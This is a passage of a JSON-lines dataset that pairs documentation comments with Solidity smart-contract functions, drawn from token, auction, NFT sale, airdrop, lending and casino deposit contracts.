min_amount);\r\n }\r\n }\r\n }\r\n\r\n uint256 amount = TransferableToken.balanceOfAddr(target_token, address(this));\r\n _refundTarget(amount);\r\n }", "version": "0.5.10"} {"comment": "/// @notice Transfer \"_value\" tokens from \"_from\" to \"_to\" if \"msg.sender\" is allowed.\n/// @dev Allows for an approved third party to transfer tokens from one\n/// address to another. Returns success.\n/// @param _from Address from where tokens are withdrawn.\n/// @param _to Address to where tokens are sent.\n/// @param _value Number of tokens to transfer.\n/// @return Returns success of function call.", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool)\r\n {\r\n //Address shouldn't be null\r\n require(_from != 0x0);\r\n require(_to != 0x0);\r\n require(_to != address(this));\r\n require(balances[_from] >= _value);\r\n require(allowed[_from][msg.sender] >= _value);\r\n require(balances[_to] + _value >= balances[_to]);\r\n\r\n balances[_to] += _value;\r\n balances[_from] -= _value;\r\n allowed[_from][msg.sender] -= _value;\r\n\r\n emit Transfer(_from, _to, _value);\r\n\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/// @notice Approves \"_who\" to transfer \"_value\" tokens from \"msg.sender\" to any address.\n/// @dev Sets approved amount of tokens for the spender. Returns success.\n/// @param _who Address of allowed account.\n/// @param _value Number of approved tokens.\n/// @return Returns success of function call.", "function_code": "function approve(address _who, uint256 _value) public returns (bool) {\r\n\r\n // Address shouldn't be null\r\n require(_who != 0x0);\r\n\r\n // To change the approve amount you first have to reduce the addresses`\r\n // allowance to zero by calling `approve(_who, 0)` if it is not\r\n // already 0 to mitigate the race condition described here:\r\n // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\r\n require(_value == 0 || allowed[msg.sender][_who] == 0);\r\n\r\n allowed[msg.sender][_who] = _value;\r\n emit Approval(msg.sender, _who, _value);\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/// @dev GoToken Contract constructor function sets GoToken dutch auction\n/// contract address and assigns the tokens to the auction.\n/// @param auction_address Address of dutch auction contract.\n/// @param wallet_address Address of wallet.\n/// @param initial_supply Number of initially provided token units (indivisible units).", "function_code": "function GoToken(address auction_address, address wallet_address, uint256 initial_supply) public\r\n {\r\n // Auction address should not be null.\r\n require(auction_address != 0x0);\r\n require(wallet_address != 0x0);\r\n\r\n // Initial supply is in indivisible units e.g. 50e24\r\n require(initial_supply > multiplier);\r\n\r\n // Total supply of indivisible GOT units at deployment\r\n totalSupply = initial_supply;\r\n\r\n // preallocation\r\n balances[auction_address] = initial_supply / 2;\r\n balances[wallet_address] = initial_supply / 2;\r\n\r\n // Record the events\r\n emit Transfer(0x0, auction_address, balances[auction_address]);\r\n emit Transfer(0x0, wallet_address, balances[wallet_address]);\r\n\r\n emit Deployed(totalSupply);\r\n\r\n assert(totalSupply == balances[auction_address] + balances[wallet_address]);\r\n }", "version": "0.4.21"} {"comment": "/// @dev GoToken Contract constructor function sets the starting price,\n/// price constant and price exponent for calculating the Dutch Auction price.\n/// @param _wallet_address Wallet address to which all contributed ETH will be forwarded.", "function_code": "function GoTokenDutchAuction(\r\n address _wallet_address,\r\n address _whitelister_address,\r\n address _distributor_address,\r\n uint256 _price_start,\r\n uint256 _price_constant1,\r\n uint256 _price_exponent1,\r\n uint256 _price_constant2,\r\n uint256 _price_exponent2)\r\n public\r\n {\r\n // Address shouldn't be null\r\n require(_wallet_address != 0x0);\r\n require(_whitelister_address != 0x0);\r\n require(_distributor_address != 0x0);\r\n wallet_address = _wallet_address;\r\n whitelister_address = _whitelister_address;\r\n distributor_address = _distributor_address;\r\n\r\n owner_address = msg.sender;\r\n stage = Stages.AuctionDeployed;\r\n changePriceCurveSettings(_price_start, _price_constant1, _price_exponent1, _price_constant2, _price_exponent2);\r\n Deployed(_price_start, _price_constant1, _price_exponent1, _price_constant2, _price_exponent2);\r\n }", "version": "0.4.21"} {"comment": "/// @notice Set \"_token_address\" as the token address to be used in the auction.\n/// @dev Setup function sets external contracts addresses.\n/// @param _token_address Token address.", "function_code": "function setup(address _token_address) public isOwner atStage(Stages.AuctionDeployed) {\r\n require(_token_address != 0x0);\r\n token = GoToken(_token_address);\r\n\r\n // Get number of GoToken indivisible tokens (GOT * token_multiplier)\r\n // to be auctioned from token auction balance\r\n num_tokens_auctioned = token.balanceOf(address(this));\r\n\r\n // Set the number of the token multiplier for its decimals\r\n token_multiplier = 10 ** (token.decimals());\r\n\r\n // State is set to Auction Setup\r\n stage = Stages.AuctionSetUp;\r\n Setup();\r\n }", "version": "0.4.21"} {"comment": "/// @notice Set \"_price_start\", \"_price_constant1\" and \"_price_exponent1\"\n/// \"_price_constant2\" and \"_price_exponent2\" as\n/// the new starting price, price constant and price exponent for the auction price.\n/// @dev Changes auction price function parameters before auction is started.\n/// @param _price_start Updated start price.\n/// @param _price_constant1 Updated price divisor constant.\n/// @param _price_exponent1 Updated price divisor exponent.\n/// @param _price_constant2 Updated price divisor constant.\n/// @param _price_exponent2 Updated price divisor exponent.", "function_code": "function changePriceCurveSettings(\r\n uint256 _price_start,\r\n uint256 _price_constant1,\r\n uint256 _price_exponent1,\r\n uint256 _price_constant2,\r\n uint256 _price_exponent2)\r\n internal\r\n {\r\n // You can change the price curve settings only when either the auction is Deployed\r\n // or the auction is setup. You can't change during the auction is running or ended.\r\n require(stage == Stages.AuctionDeployed || stage == Stages.AuctionSetUp);\r\n require(_price_start > 0);\r\n require(_price_constant1 > 0);\r\n require(_price_constant2 > 0);\r\n\r\n price_start = _price_start;\r\n price_constant1 = _price_constant1;\r\n price_exponent1 = _price_exponent1;\r\n price_constant2 = _price_constant2;\r\n price_exponent2 = _price_exponent2;\r\n }", "version": "0.4.21"} {"comment": "// @notice Finalize the auction - sets the final GoToken price and\n// changes the auction stage after no bids are allowed. Only owner can finalize the auction.\n// The owner can end the auction anytime after either the auction is deployed or started.\n// @dev Finalize auction and set the final GOT token price.", "function_code": "function finalizeAuction() public isOwner\r\n {\r\n // The owner can end the auction anytime during the stages\r\n // AuctionSetUp and AuctionStarted\r\n require(stage == Stages.AuctionSetUp || stage == Stages.AuctionStarted);\r\n\r\n // Calculate the final price = WEI / (GOT / token_multiplier)\r\n final_price = token_multiplier * received_wei_with_bonus / num_tokens_auctioned;\r\n\r\n // End the auction\r\n end_time = now;\r\n stage = Stages.AuctionEnded;\r\n AuctionEnded(final_price);\r\n\r\n assert(final_price > 0);\r\n }", "version": "0.4.21"} {"comment": "/// @notice Get the remaining funds needed to end the auction, calculated at\n/// the current GOT price in WEI.\n/// @dev The remaining funds necessary to end the auction at the current GOT price in WEI.\n/// @return Returns the remaining funds to end the auction in WEI.", "function_code": "function remainingFundsToEndAuction() constant public returns (uint256) {\r\n\r\n // num_tokens_auctioned = total number of indivisible GOT (GOT * token_multiplier) that is auctioned\r\n uint256 required_wei_at_price = num_tokens_auctioned * price() / token_multiplier;\r\n if (required_wei_at_price <= received_wei) {\r\n return 0;\r\n }\r\n\r\n return required_wei_at_price - received_wei;\r\n }", "version": "0.4.21"} {"comment": "// @dev Calculates the token price (WEI / GOT) at the current timestamp\n// during the auction; elapsed time = 0 before auction starts.\n// This is a composite exponentially decaying curve (two curves combined).\n// The curve 1 is for the first 8 days and the curve 2 is for the remaining days.\n// They are of the form:\n// current_price = price_start * (1 + elapsed) / (1 + elapsed + decay_rate);\n// where, decay_rate = elapsed ** price_exponent / price_constant;\n// Based on the provided parameters, the price does not change in the first\n// price_constant^(1/price_exponent) seconds due to rounding.\n// Rounding in `decay_rate` also produces values that increase instead of decrease\n// in the beginning of the auction; these spikes decrease over time and are noticeable\n// only in first hours. This should be calculated before usage.\n// @return Returns the token price - WEI per GOT.", "function_code": "function calcTokenPrice() constant private returns (uint256) {\r\n uint256 elapsed;\r\n uint256 decay_rate1;\r\n uint256 decay_rate2;\r\n if (stage == Stages.AuctionDeployed || stage == Stages.AuctionSetUp){\r\n return price_start;\r\n }\r\n if (stage == Stages.AuctionStarted) {\r\n elapsed = now - auction_start_time;\r\n // The first eight days auction price curve\r\n if (now >= auction_start_time && now < auction_start_time + CURVE_CUTOFF_DURATION){\r\n decay_rate1 = elapsed ** price_exponent1 / price_constant1;\r\n return price_start * (1 + elapsed) / (1 + elapsed + decay_rate1);\r\n }\r\n // The remaining days auction price curve\r\n else if (now >= auction_start_time && now >= auction_start_time + CURVE_CUTOFF_DURATION){\r\n decay_rate2 = elapsed ** price_exponent2 / price_constant2;\r\n return price_start * (1 + elapsed) / (1 + elapsed + decay_rate2);\r\n }\r\n else {\r\n return price_start;\r\n }\r\n\r\n }\r\n }", "version": "0.4.21"} {"comment": "// **********\n// TOKEN SALE\n// **********", "function_code": "function purchase(uint256 tokenId) external payable {\r\n if (sale[tokenId].buyer != address(0)) { // if buyer is preset, require caller match\r\n require(msg.sender == sale[tokenId].buyer, \"!buyer\");\r\n }\r\n uint256 price = sale[tokenId].price;\r\n require(price > 0, \"!forSale\"); // token price must be non-zero to be considered 'for sale'\r\n require(msg.value == price, \"!price\");\r\n address owner = ownerOf[tokenId];\r\n (bool success, ) = owner.call{value: msg.value}(\"\");\r\n require(success, \"!ethCall\");\r\n balanceOf[owner]--; \r\n balanceOf[msg.sender]++; \r\n getApproved[tokenId] = address(0); // reset spender approval\r\n ownerOf[tokenId] = msg.sender;\r\n sale[tokenId].buyer = address(0); // reset buyer address\r\n sale[tokenId].price = 0; // reset sale price\r\n emit Transfer(owner, msg.sender, tokenId); \r\n }", "version": "0.8.1"} {"comment": "/// @dev Execute an arbitrary call. Only an authority can call this.\n/// @param target The call target.\n/// @param callData The call data.\n/// @return resultData The data returned by the call.", "function_code": "function executeCall(\r\n address payable target,\r\n bytes calldata callData\r\n )\r\n override\r\n external\r\n onlySpender\r\n returns (bytes memory resultData)\r\n {\r\n bool success;\r\n (success, resultData) = target.call(callData);\r\n if (!success) {\r\n // Get the error message returned\r\n assembly {\r\n let ptr := mload(0x40)\r\n let size := returndatasize()\r\n returndatacopy(ptr, 0, size)\r\n revert(ptr, size)\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\n @notice depositReward is a one-time function which deposits a set amount of VIRTUE token that\n can be claimed by airdrop recipients. The rewards are distributed over the duration of\n _rewardsDuration. The function requires the owner to first approve the VirtuousHourAirdrop\n contract to transfer the amount of VIRTUE token on its behalf.\n \n THIS FUNCTION CANNOT BE CALLED MORE THAN ONCE.\n @param _virtueAmount The amount of VIRTUE reward to distribute.\n @param _rewardsDuration The amount of time that the VIRTUE reward will distribute over.\n */", "function_code": "function depositReward(uint _virtueAmount, uint _rewardsDuration) external onlyOwner {\n require(!rewardDeposited, \"Reward has already been deposited\");\n rewardDeposited = true;\n totalVirtueReward = _virtueAmount;\n rewardsStartTime = block.timestamp;\n rewardsDuration = _rewardsDuration;\n require(virtueToken.transferFrom(msg.sender, address(this), _virtueAmount));\n emit AirdropRewardDeposited(_virtueAmount, msg.sender);\n }", "version": "0.8.9"} {"comment": "/**\n @notice claimRewards will claim the VIRTUE rewards that an address is eligible to claim from the\n airdrop contract, based on how many NFTs they minted during the eligible window. The function\n must be called with the EXACT number of shares that the address is eligible to claim, i.e.\n if someone purchased 5 eligible NFTs and they try to claim with _numShares = 1, the\n transaction will be reverted -- they must claim exactly 5 shares.\n @param _to The address to claim rewards for.\n @param _numShares The number of shares (i.e. eligible NFTs purchased) of VIRTUE rewards to\n claim.\n @param _merkleProof The merkle proof used to authenticate the transaction against the Merkle\n root.\n */", "function_code": "function claimRewards(address _to, uint _numShares, bytes32[] calldata _merkleProof) external {\n require(rewardDeposited, \"Reward has not yet been deposited into contract\");\n\n // Verify against the Merkle tree that the transaction is authenticated for the user.\n bytes32 leaf = keccak256(abi.encodePacked(_to, _numShares));\n require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), \"Failed to authenticate with merkle tree\");\n\n uint rewardAmount = claimableReward(_to, _numShares);\n require(rewardAmount > 0, \"No rewards available to claim\");\n\n alreadyClaimed[_to] = alreadyClaimed[_to] + rewardAmount;\n require(virtueToken.transfer(_to, rewardAmount));\n }", "version": "0.8.9"} {"comment": "// ------------------------------------------------------------------------\n// Allow user to subscribe/extend access expiry through contract\n// ------------------------------------------------------------------------", "function_code": "function subscribeViaToken(uint256 _value) public returns (bool) {\r\n\r\n uint256 sentValue = _value.mul(1 ether);\r\n require(sentValue <= balances[msg.sender], \"Insufficient balance\");\r\n balances[msg.sender] = balances[msg.sender].sub(sentValue);\r\n balances[tokenReceivingAddress] = balances[tokenReceivingAddress].add(sentValue);\r\n emit Transfer(msg.sender, tokenReceivingAddress, sentValue);\r\n // To add new user or extend access expiry\r\n checkAndRegisterUser (msg.sender, _value);\r\n \r\n return true;\r\n }", "version": "0.5.17"} {"comment": "// ------------------------------------------------------------------------\n// Bulk buy tokens via ETH\n// ------------------------------------------------------------------------", "function_code": "function buyTokens () public payable returns (bool) {\r\n require(pauseBuy == false,'Token buy currently unavailable.');\r\n require(msg.sender != address(0), \"Invalid address\");\r\n require(msg.value > 0, \"Invalid amount\");\r\n uint256 tokensToBuy;\r\n if (msg.value < 1 ether) {\r\n tokensToBuy = msg.value.mul(bronzePack).div(ethToToken);\r\n }\r\n else if (msg.value > 1 ether && msg.value <= 5 ether) {\r\n tokensToBuy = msg.value.mul(silverPack).div(ethToToken);\r\n }\r\n else if (msg.value > 5 ether && msg.value <= 15 ether) {\r\n tokensToBuy = msg.value.mul(goldPack).div(ethToToken);\r\n }\r\n else if (msg.value > 15 ether && msg.value <= 30 ether) {\r\n tokensToBuy = msg.value.mul(platinumPack).div(ethToToken);\r\n }\r\n else {\r\n tokensToBuy = msg.value.mul(diamondPack).div(ethToToken);\r\n }\r\n\r\n tokenSupply = tokenSupply.add(tokensToBuy);\r\n balances[msg.sender] = balances[msg.sender].add(tokensToBuy);\r\n ownerAddress.transfer(msg.value);\r\n emit Transfer(address(0), msg.sender, tokensToBuy);\r\n return true;\r\n }", "version": "0.5.17"} {"comment": "// ------------------------------------------------------------------------\n// Register a new user\n// ------------------------------------------------------------------------", "function_code": "function checkAndRegisterUser (address _account, uint256 _amount) private {\r\n require(_amount > 0, 'Amount can not be zero');\r\n if (!users[_account].isExist) {\r\n //Create temp instance of User struct\r\n Users_Details memory user;\r\n user.register_on = now;\r\n user.access_expiry = now + (_amount * tokenToTime);\r\n user.isExist = true;\r\n users[_account] = user;\r\n userCount += 1;\r\n }\r\n else {\r\n // Extend access expiry\r\n extendUserAccess(_account, _amount);\r\n }\r\n }", "version": "0.5.17"} {"comment": "// ------------------------------------------------------------------------\n// Check user access expiry\n// ------------------------------------------------------------------------", "function_code": "function getUserAccessExpiry (address _account) public view returns(uint256) {\r\n //require(users[_account].isExist,'User does not exists');\r\n if (users[_account].isExist) {\r\n // Create temp instance of User struct\r\n Users_Details memory user;\r\n user = users[_account];\r\n return user.access_expiry;\r\n }\r\n else {\r\n return 0;\r\n }\r\n }", "version": "0.5.17"} {"comment": "// ------------------------------------------------------------------------\n// Extend user access expiry\n// ------------------------------------------------------------------------", "function_code": "function extendUserAccess (address _account, uint256 _amount) private {\r\n require(users[_account].isExist,'User does not exists');\r\n // Create temp instance of User struct\r\n Users_Details memory user;\r\n uint256 currentExpiry = users[_account].access_expiry;\r\n uint256 extendedExpiry;\r\n if (currentExpiry > now) {\r\n extendedExpiry = currentExpiry + (_amount * tokenToTime);\r\n }\r\n else {\r\n extendedExpiry = now + (_amount * tokenToTime);\r\n }\r\n user.isExist = true;\r\n user.register_on = users[_account].register_on;\r\n user.access_expiry = extendedExpiry;\r\n users[_account] = user;\r\n }", "version": "0.5.17"} {"comment": "// ------------------------------------------------------------------------\n// Change ETH to VLT Rates\n// ------------------------------------------------------------------------", "function_code": "function changePackRates (uint256 _bronzePack, uint256 _silverPack, uint256 _goldPack, uint256 _platinumPack, uint256 _diamondPack) public onlyOwner returns (bool) {\r\n require(_bronzePack > 0, 'Invalid bronze pack rate');\r\n require(_silverPack > 0, 'Invalid silver pack rate');\r\n require(_goldPack > 0, 'Invalid gold pack rate');\r\n require(_platinumPack > 0, 'Invalid platinum pack rate');\r\n require(_diamondPack > 0, 'Invalid diamond pack rate');\r\n\r\n bronzePack = _bronzePack;\r\n silverPack = _silverPack;\r\n goldPack = _goldPack;\r\n platinumPack = _platinumPack;\r\n diamondPack = _diamondPack;\r\n return true;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * It adds a new token address to lastAmountsAddresses list\r\n *\r\n * @param _newToken : new interest bearing token address\r\n */", "function_code": "function setNewToken(address _newToken)\r\n external onlyOwner {\r\n require(_newToken != address(0), \"New token should be != 0\");\r\n for (uint256 i = 0; i < lastAmountsAddresses.length; i++) {\r\n if (lastAmountsAddresses[i] == _newToken) {\r\n return;\r\n }\r\n }\r\n\r\n lastAmountsAddresses.push(_newToken);\r\n lastAmounts.push(0);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * Used by Rebalance manager to set the new allocations\r\n *\r\n * @param _allocations : array with allocations in percentages (100% => 100000)\r\n * @param _addresses : array with addresses of tokens used, should be equal to lastAmountsAddresses\r\n */", "function_code": "function setAllocations(uint256[] calldata _allocations, address[] calldata _addresses)\r\n external onlyRebalancerAndIdle\r\n {\r\n require(_allocations.length == lastAmounts.length, \"Alloc lengths are different, allocations\");\r\n require(_allocations.length == _addresses.length, \"Alloc lengths are different, addresses\");\r\n\r\n uint256 total;\r\n for (uint256 i = 0; i < _allocations.length; i++) {\r\n require(_addresses[i] == lastAmountsAddresses[i], \"Addresses do not match\");\r\n total = total.add(_allocations[i]);\r\n lastAmounts[i] = _allocations[i];\r\n }\r\n require(total == 100000, \"Not allocating 100%\");\r\n }", "version": "0.5.16"} {"comment": "/* TODO: this is only for first pilots to avoid funds stuck in contract due to bugs.\r\n remove this function for higher volume pilots */", "function_code": "function withdraw(AugmintToken tokenAddress, address to, uint tokenAmount, uint weiAmount, string narrative)\r\n external restrict(\"StabilityBoard\") {\r\n tokenAddress.transferWithNarrative(to, tokenAmount, narrative);\r\n if (weiAmount > 0) {\r\n to.transfer(weiAmount);\r\n }\r\n\r\n emit WithdrawFromSystemAccount(tokenAddress, to, tokenAmount, weiAmount, narrative);\r\n }", "version": "0.4.24"} {"comment": "/* Locker requesting interest when locking funds. Enforcing LTD to stay within range allowed by LTD params\r\n NB: it does not know about min loan amount, it's the loan contract's responsibility to enforce it */", "function_code": "function requestInterest(uint amountToLock, uint interestAmount) external {\r\n // only whitelisted Locker\r\n require(permissions[msg.sender][\"Locker\"], \"msg.sender must have Locker permission\");\r\n require(amountToLock <= getMaxLockAmountAllowedByLtd(), \"amountToLock must be <= maxLockAmountAllowedByLtd\");\r\n\r\n totalLockedAmount = totalLockedAmount.add(amountToLock);\r\n // next line would revert but require to emit reason:\r\n require(augmintToken.balanceOf(address(interestEarnedAccount)) >= interestAmount,\r\n \"interestEarnedAccount balance must be >= interestAmount\");\r\n interestEarnedAccount.transferInterest(augmintToken, msg.sender, interestAmount); // transfer interest to Locker\r\n }", "version": "0.4.24"} {"comment": "/* Issue loan if LTD stays within range allowed by LTD params\r\n NB: it does not know about min loan amount, it's the loan contract's responsibility to enforce it */", "function_code": "function issueLoan(address borrower, uint loanAmount) external {\r\n // only whitelisted LoanManager contracts\r\n require(permissions[msg.sender][\"LoanManager\"],\r\n \"msg.sender must have LoanManager permission\");\r\n require(loanAmount <= getMaxLoanAmountAllowedByLtd(), \"loanAmount must be <= maxLoanAmountAllowedByLtd\");\r\n totalLoanAmount = totalLoanAmount.add(loanAmount);\r\n augmintToken.issueTo(borrower, loanAmount);\r\n }", "version": "0.4.24"} {"comment": "/* User can request to convert their tokens from older AugmintToken versions in 1:1\r\n transferNotification is called from AugmintToken's transferAndNotify\r\n Flow for converting old tokens:\r\n 1) user calls old token contract's transferAndNotify with the amount to convert,\r\n addressing the new MonetarySupervisor Contract\r\n 2) transferAndNotify transfers user's old tokens to the current MonetarySupervisor contract's address\r\n 3) transferAndNotify calls MonetarySupervisor.transferNotification\r\n 4) MonetarySupervisor checks if old AugmintToken is permitted\r\n 5) MonetarySupervisor issues new tokens to user's account in current AugmintToken\r\n 6) MonetarySupervisor burns old tokens from own balance\r\n */", "function_code": "function transferNotification(address from, uint amount, uint /* data, not used */ ) external {\r\n AugmintTokenInterface legacyToken = AugmintTokenInterface(msg.sender);\r\n require(acceptedLegacyAugmintTokens[legacyToken], \"msg.sender must be allowed in acceptedLegacyAugmintTokens\");\r\n\r\n legacyToken.burn(amount);\r\n augmintToken.issueTo(from, amount);\r\n emit LegacyTokenConverted(msg.sender, from, amount);\r\n }", "version": "0.4.24"} {"comment": "/* Helper function for UI.\r\n Returns max lock amount based on minLockAmount, interestPt, using LTD params & interestEarnedAccount balance */", "function_code": "function getMaxLockAmount(uint minLockAmount, uint interestPt) external view returns (uint maxLock) {\r\n uint allowedByEarning = augmintToken.balanceOf(address(interestEarnedAccount)).mul(PERCENT_100).div(interestPt);\r\n uint allowedByLtd = getMaxLockAmountAllowedByLtd();\r\n maxLock = allowedByEarning < allowedByLtd ? allowedByEarning : allowedByLtd;\r\n maxLock = maxLock < minLockAmount ? 0 : maxLock;\r\n }", "version": "0.4.24"} {"comment": "/* returns maximum lockable token amount allowed by LTD params. */", "function_code": "function getMaxLockAmountAllowedByLtd() public view returns(uint maxLockByLtd) {\r\n uint allowedByLtdDifferencePt = totalLoanAmount.mul(PERCENT_100).div(PERCENT_100\r\n .sub(ltdParams.lockDifferenceLimit));\r\n allowedByLtdDifferencePt = totalLockedAmount >= allowedByLtdDifferencePt ?\r\n 0 : allowedByLtdDifferencePt.sub(totalLockedAmount);\r\n\r\n uint allowedByLtdDifferenceAmount =\r\n totalLockedAmount >= totalLoanAmount.add(ltdParams.allowedDifferenceAmount) ?\r\n 0 : totalLoanAmount.add(ltdParams.allowedDifferenceAmount).sub(totalLockedAmount);\r\n\r\n maxLockByLtd = allowedByLtdDifferencePt > allowedByLtdDifferenceAmount ?\r\n allowedByLtdDifferencePt : allowedByLtdDifferenceAmount;\r\n }", "version": "0.4.24"} {"comment": "/* returns maximum borrowable token amount allowed by LTD params */", "function_code": "function getMaxLoanAmountAllowedByLtd() public view returns(uint maxLoanByLtd) {\r\n uint allowedByLtdDifferencePt = totalLockedAmount.mul(ltdParams.loanDifferenceLimit.add(PERCENT_100))\r\n .div(PERCENT_100);\r\n allowedByLtdDifferencePt = totalLoanAmount >= allowedByLtdDifferencePt ?\r\n 0 : allowedByLtdDifferencePt.sub(totalLoanAmount);\r\n\r\n uint allowedByLtdDifferenceAmount =\r\n totalLoanAmount >= totalLockedAmount.add(ltdParams.allowedDifferenceAmount) ?\r\n 0 : totalLockedAmount.add(ltdParams.allowedDifferenceAmount).sub(totalLoanAmount);\r\n\r\n maxLoanByLtd = allowedByLtdDifferencePt > allowedByLtdDifferenceAmount ?\r\n allowedByLtdDifferencePt : allowedByLtdDifferenceAmount;\r\n }", "version": "0.4.24"} {"comment": "// returns CHUNK_SIZE loan products starting from some offset:\n// [ productId, minDisbursedAmount, term, discountRate, collateralRatio, defaultingFeePt, maxLoanAmount, isActive ]", "function_code": "function getProducts(uint offset) external view returns (uint[8][CHUNK_SIZE] response) {\r\n\r\n for (uint16 i = 0; i < CHUNK_SIZE; i++) {\r\n\r\n if (offset + i >= products.length) { break; }\r\n\r\n LoanProduct storage product = products[offset + i];\r\n\r\n response[i] = [offset + i, product.minDisbursedAmount, product.term, product.discountRate,\r\n product.collateralRatio, product.defaultingFeePt,\r\n monetarySupervisor.getMaxLoanAmount(product.minDisbursedAmount), product.isActive ? 1 : 0 ];\r\n }\r\n }", "version": "0.4.24"} {"comment": "/* returns CHUNK_SIZE loans starting from some offset. Loans data encoded as:\r\n [loanId, collateralAmount, repaymentAmount, borrower, productId, state, maturity, disbursementTime,\r\n loanAmount, interestAmount ] */", "function_code": "function getLoans(uint offset) external view returns (uint[10][CHUNK_SIZE] response) {\r\n\r\n for (uint16 i = 0; i < CHUNK_SIZE; i++) {\r\n\r\n if (offset + i >= loans.length) { break; }\r\n\r\n response[i] = getLoanTuple(offset + i);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/* internal function, assuming repayment amount already transfered */", "function_code": "function _repayLoan(uint loanId, uint repaymentAmount) internal {\r\n require(loanId < loans.length, \"invalid loanId\"); // next line would revert but require to emit reason\r\n LoanData storage loan = loans[loanId];\r\n require(loan.state == LoanState.Open, \"loan state must be Open\");\r\n require(repaymentAmount == loan.repaymentAmount, \"repaymentAmount must be equal to tokens sent\");\r\n require(now <= loan.maturity, \"current time must be earlier than maturity\");\r\n\r\n LoanProduct storage product = products[loan.productId];\r\n uint loanAmount;\r\n uint interestAmount;\r\n (loanAmount, interestAmount) = calculateLoanValues(product, loan.repaymentAmount);\r\n\r\n loans[loanId].state = LoanState.Repaid;\r\n\r\n if (interestAmount > 0) {\r\n augmintToken.transfer(monetarySupervisor.interestEarnedAccount(), interestAmount);\r\n augmintToken.burn(loanAmount);\r\n } else {\r\n // negative or zero interest (i.e. discountRate >= 0)\r\n augmintToken.burn(repaymentAmount);\r\n }\r\n\r\n monetarySupervisor.loanRepaymentNotification(loanAmount); // update KPIs\r\n\r\n loan.borrower.transfer(loan.collateralAmount); // send back ETH collateral\r\n\r\n emit LoanRepayed(loanId, loan.borrower);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev method to updated allowedTransfers for an address\r\n * @param _address that needs to be updated\r\n * @param _allowedTransfers indicating if transfers are allowed or not\r\n * @return boolean indicating function success.\r\n */", "function_code": "function updateAllowedTransfers(address _address, bool _allowedTransfers)\r\n external\r\n onlyOwner\r\n returns (bool)\r\n {\r\n // don't allow owner to change this for themselves\r\n // otherwise whenNotPaused will not work as expected for owner,\r\n // therefore prohibiting them from calling pause/unpause.\r\n require(_address != owner);\r\n\r\n allowedTransfers[_address] = _allowedTransfers;\r\n return true;\r\n }", "version": "0.4.22"} {"comment": "// All tokens are minted using the random offset.\n// Tokens can only be minted once, even if burned.", "function_code": "function mint(uint256 breedIndex, address to_) public onlyOwner {\n require(_randomnessHasBeenSet, \"Randomness must be set before minting\");\n require(mintedTotalSupply() < maxSupply, \"Max supply minted\");\n require(\n mintedBreedSupply(breedIndex) < maxSupplyPerBreed,\n \"Max supply for breed minted\"\n );\n\n uint256 indexToMint = calculateIndexToMint(breedIndex);\n\n // It's the responsibility of the minting script to select an even distribution of breeds for these special allocations.\n // The special allocations are automatically subject to the random offset.\n // The first developerAllocation tokens must be given to developerAddress.\n if (mintedTotalSupply() < developerAllocation) {\n require(to_ == developerAddress, \"First batch for developer\");\n }\n\n _safeMint(to_, indexToMint);\n _mintedBreedCounter[breedIndex].increment();\n _mintedTotalSupplyCounter.increment();\n }", "version": "0.8.9"} {"comment": "// Provide an array of addresses and a corresponding array of quantities.", "function_code": "function mintBatch(\n uint256[] calldata breedIndexes,\n address[] calldata addresses,\n uint256[] calldata quantities\n ) external onlyOwner {\n require(\n breedIndexes.length == addresses.length &&\n addresses.length == quantities.length,\n \"Input array lengths not equal\"\n );\n for (uint256 i = 0; i < addresses.length; i++) {\n for (uint256 j = 0; j < quantities[i]; j++) {\n mint(breedIndexes[i], addresses[i]);\n }\n }\n }", "version": "0.8.9"} {"comment": "// 0xCcdFbB32697c3733fC4DC693579cc567834A0E73\n// This is a constructor function \n// which means the following function name has to match the contract name declared above", "function_code": "function STELLARFORK() {\r\n balances[msg.sender] = 10000000000000000000000000000000; // \r\n totalSupply = 10000000000000000000000000000000; // \r\n name = \"STELLARFORK\"; // Set the name for display purposes (CHANGE THIS)\r\n decimals = 18; // Amount of decimals for display purposes (CHANGE THIS)\r\n symbol = \"FORK\"; // Set the symbol for display purposes (CHANGE THIS)\r\n unitsOneEthCanBuy = 16000; // Set the price of your token for the ICO (CHANGE THIS)\r\n fundsWallet = msg.sender; // The owner of the contract gets ETH\r\n }", "version": "0.4.20"} {"comment": "/**\r\n * @dev Mints `tokenId` and transfers it to `to`.\r\n *\r\n *\r\n * Requirements:\r\n *\r\n * - `tokenId` must not exist.\r\n * - `to` cannot be the zero address.\r\n *\r\n * Emits a {Transfer} event.\r\n */", "function_code": "function _mint(address to, uint256 tokenId) internal virtual {\r\n require(to != address(0), \"ERC721: mint to the zero address\");\r\n require(!_exists(tokenId), \"ERC721: token already minted\");\r\n\r\n _beforeTokenTransfer(address(0), to, tokenId);\r\n\r\n _balances[to] += 1;\r\n _owners[tokenId] = to;\r\n\r\n emit Transfer(address(0), to, tokenId);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n \t * accepts deposits for an arbitrary address.\r\n \t * retrieves tokens from the message sender and adds them to the balance of the specified address.\r\n \t * edgeless tokens do not have any decimals, but are represented on this contract with decimals.\r\n \t * @param receiver address of the receiver\r\n \t * numTokens number of tokens to deposit (0 decimals)\r\n \t *\t\t\t\t chargeGas indicates if the gas cost is subtracted from the user's edgeless token balance\r\n \t **/", "function_code": "function deposit(address receiver, uint numTokens, bool chargeGas) public isAlive {\r\n\t\trequire(numTokens > 0);\r\n\t\tuint value = safeMul(numTokens, oneEDG);\r\n\t\tuint gasCost;\r\n\t\tif (chargeGas) {\r\n\t\t\tgasCost = getGasCost();\r\n\t\t\tvalue = safeSub(value, gasCost);\r\n\t\t\tgasPayback = safeAdd(gasPayback, gasCost);\r\n\t\t}\r\n\t\tuint newBalance = safeAdd(balanceOf[receiver], value);\r\n\t\trequire(newBalance <= maxDeposit);\r\n\t\tassert(edg.transferFrom(msg.sender, address(this), numTokens));\r\n\t\tbalanceOf[receiver] = newBalance;\r\n\t\tplayerBalance = safeAdd(playerBalance, value);\r\n\t\temit Deposit(receiver, numTokens, gasCost);\r\n\t}", "version": "0.4.21"} {"comment": "/**\r\n \t * withdraws an amount from the user balance if the waiting time passed since the request.\r\n \t * @param amount the amount of tokens to 